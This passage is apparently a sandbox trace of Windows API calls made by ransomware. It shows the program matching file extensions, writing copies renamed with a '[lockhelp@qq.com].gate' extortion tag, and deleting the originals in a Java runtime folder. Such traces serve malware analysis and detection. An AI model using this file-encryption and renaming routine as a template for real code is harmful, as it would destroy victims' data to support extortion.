lpString2=".jar") returned -1 [0297.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.908] lstrlenW (lpString=".1cd") returned 4 [0297.908] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0297.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.908] lstrlenW (lpString=".jpg") returned 4 [0297.908] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0297.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.908] lstrlenW (lpString=".doc") returned 4 [0297.908] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0297.908] lstrlenW (lpString=".docx") returned 5 [0297.908] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0297.908] lstrlenW (lpString=".pdf") returned 4 [0297.908] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0297.908] lstrlenW (lpString=".xls") returned 4 [0297.908] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0297.908] lstrlenW (lpString=".xlsx") returned 5 [0297.908] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0297.908] lstrlenW (lpString=".ppt") returned 4 [0297.908] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0297.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.908] lstrlenW (lpString=".zip") returned 4 [0297.909] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0297.909] lstrlenW (lpString=".rar") returned 4 [0297.909] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0297.909] lstrlenW (lpString=".bz2") returned 4 [0297.909] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0297.909] lstrlenW (lpString=".7z") returned 3 [0297.909] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0297.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.909] lstrlenW (lpString=".dbf") returned 4 [0297.909] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0297.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.909] lstrlenW (lpString=".1cd") returned 4 [0297.909] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0297.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.909] lstrlenW (lpString=".jpg") returned 4 [0297.909] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0297.909] lstrcmpiW (lpString1=".ja", lpString2=".gate") returned 1 [0297.909] lstrlenW (lpString="psfont.properties.ja") returned 20 [0297.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.910] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2796) returned 1 [0297.911] CloseHandle (hObject=0x4b8) returned 1 [0297.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0297.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.911] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.911] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0297.912] GetLastError () returned 0x0 [0297.912] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xaec, lpOverlapped=0x0) returned 1 [0298.280] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0298.281] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.281] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0298.281] SetEndOfFile (hFile=0x564) returned 1 [0298.770] CloseHandle (hObject=0x564) returned 1 [0298.770] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.770] SetEndOfFile (hFile=0x4b8) returned 1 [0298.794] CloseHandle (hObject=0x4b8) returned 1 [0298.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0298.794] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0298.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.805] lstrlenW (lpString=".doc") returned 4 [0298.805] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString=".docx") returned 5 [0298.805] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0298.805] lstrlenW (lpString=".pdf") returned 4 [0298.805] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString=".xls") returned 4 [0298.805] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString=".xlsx") returned 5 [0298.805] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0298.805] lstrlenW (lpString=".ppt") returned 4 [0298.805] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.805] lstrlenW (lpString=".zip") returned 4 [0298.805] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString=".rar") returned 4 [0298.805] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString=".bz2") returned 4 [0298.805] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString=".7z") returned 3 [0298.805] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0298.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.805] lstrlenW (lpString=".dbf") returned 4 [0298.805] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.805] lstrlenW (lpString=".1cd") returned 4 [0298.805] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0298.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.805] lstrlenW (lpString=".jpg") returned 4 [0298.805] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.806] lstrlenW (lpString=".doc") returned 4 [0298.806] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString=".docx") returned 5 [0298.806] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0298.806] lstrlenW (lpString=".pdf") returned 4 [0298.806] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString=".xls") returned 4 [0298.806] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString=".xlsx") returned 5 [0298.806] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0298.806] lstrlenW (lpString=".ppt") returned 4 [0298.806] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.806] lstrlenW (lpString=".zip") returned 4 [0298.806] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString=".rar") returned 4 [0298.806] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString=".bz2") returned 4 [0298.806] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString=".7z") returned 3 [0298.806] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0298.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.806] lstrlenW (lpString=".dbf") returned 4 [0298.806] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.806] lstrlenW (lpString=".1cd") returned 4 [0298.806] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0298.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0298.806] lstrlenW (lpString=".jpg") returned 4 [0298.806] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0298.807] lstrcmpiW (lpString1=".security", lpString2=".gate") returned 1 [0298.807] lstrlenW (lpString="java.security") returned 13 [0298.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0298.807] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=36524) returned 1 [0298.807] CloseHandle (hObject=0x4b8) returned 1 [0298.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0298.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0298.808] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.808] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.808] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0298.808] GetLastError () returned 0x0 [0298.808] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x8eac, lpOverlapped=0x0) returned 1 [0299.083] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0299.085] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.085] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xee, lpOverlapped=0x0) returned 1 [0299.085] SetEndOfFile (hFile=0x4c4) returned 1 [0299.085] CloseHandle (hObject=0x4c4) returned 1 [0299.085] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.085] SetEndOfFile (hFile=0x4b8) returned 1 [0299.087] CloseHandle (hObject=0x4b8) returned 1 [0299.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.088] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0299.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.088] lstrlenW (lpString=".doc") returned 4 [0299.088] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0299.088] lstrlenW (lpString=".docx") returned 5 [0299.089] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0299.089] lstrlenW (lpString=".pdf") returned 4 [0299.089] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString=".xls") returned 4 [0299.089] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString=".xlsx") returned 5 [0299.089] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0299.089] lstrlenW (lpString=".ppt") returned 4 [0299.089] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.089] lstrlenW (lpString=".zip") returned 4 [0299.089] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString=".rar") returned 4 [0299.089] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString=".bz2") returned 4 [0299.089] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString=".7z") returned 3 [0299.089] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0299.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.089] lstrlenW (lpString=".dbf") returned 4 [0299.089] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.089] lstrlenW (lpString=".1cd") returned 4 [0299.089] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0299.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.090] lstrlenW (lpString=".jpg") returned 4 [0299.090] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.090] lstrlenW (lpString=".doc") returned 4 [0299.090] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString=".docx") returned 5 [0299.090] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0299.090] lstrlenW (lpString=".pdf") returned 4 [0299.090] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString=".xls") returned 4 [0299.090] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString=".xlsx") returned 5 [0299.090] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0299.090] lstrlenW (lpString=".ppt") returned 4 [0299.090] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.090] lstrlenW (lpString=".zip") returned 4 [0299.090] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString=".rar") returned 4 [0299.090] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString=".bz2") returned 4 [0299.090] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString=".7z") returned 3 [0299.090] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0299.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.090] lstrlenW (lpString=".dbf") returned 4 [0299.090] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0299.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.091] lstrlenW (lpString=".1cd") returned 4 [0299.091] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0299.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0299.091] lstrlenW (lpString=".jpg") returned 4 [0299.091] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0299.091] lstrcmpiW (lpString1=".libraries", lpString2=".gate") returned 1 [0299.091] lstrlenW (lpString="trusted.libraries") returned 17 [0299.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.092] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=0) returned 1 [0299.092] CloseHandle (hObject=0x4e8) returned 1 [0299.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.092] lstrlenW (lpString=".doc") returned 4 [0299.092] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0299.092] lstrlenW (lpString=".docx") returned 5 [0299.092] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0299.092] lstrlenW (lpString=".pdf") returned 4 [0299.093] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString=".xls") returned 4 [0299.093] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString=".xlsx") returned 5 [0299.093] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0299.093] lstrlenW (lpString=".ppt") returned 4 [0299.093] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.093] lstrlenW (lpString=".zip") returned 4 [0299.093] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString=".rar") returned 4 [0299.093] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString=".bz2") returned 4 [0299.093] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString=".7z") returned 3 [0299.093] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0299.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.093] lstrlenW (lpString=".dbf") returned 4 [0299.093] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.093] lstrlenW (lpString=".1cd") returned 4 [0299.093] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0299.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.093] lstrlenW (lpString=".jpg") returned 4 [0299.093] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.094] lstrlenW (lpString=".doc") returned 4 [0299.094] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString=".docx") returned 5 [0299.094] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0299.094] lstrlenW (lpString=".pdf") returned 4 [0299.094] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString=".xls") returned 4 [0299.094] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString=".xlsx") returned 5 [0299.094] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0299.094] lstrlenW (lpString=".ppt") returned 4 [0299.094] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.094] lstrlenW (lpString=".zip") returned 4 [0299.094] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString=".rar") returned 4 [0299.094] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString=".bz2") returned 4 [0299.094] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString=".7z") returned 3 [0299.094] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0299.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.094] lstrlenW (lpString=".dbf") returned 4 [0299.094] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.094] lstrlenW (lpString=".1cd") returned 4 [0299.094] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0299.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0299.094] lstrlenW (lpString=".jpg") returned 4 [0299.095] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0299.095] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0299.095] lstrlenW (lpString="US_export_policy.jar") returned 20 [0299.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.095] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3026) returned 1 [0299.095] CloseHandle (hObject=0x4e8) returned 1 [0299.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0299.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.096] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.096] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.096] GetLastError () returned 0x0 [0299.096] ReadFile (in: hFile=0x4e8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: 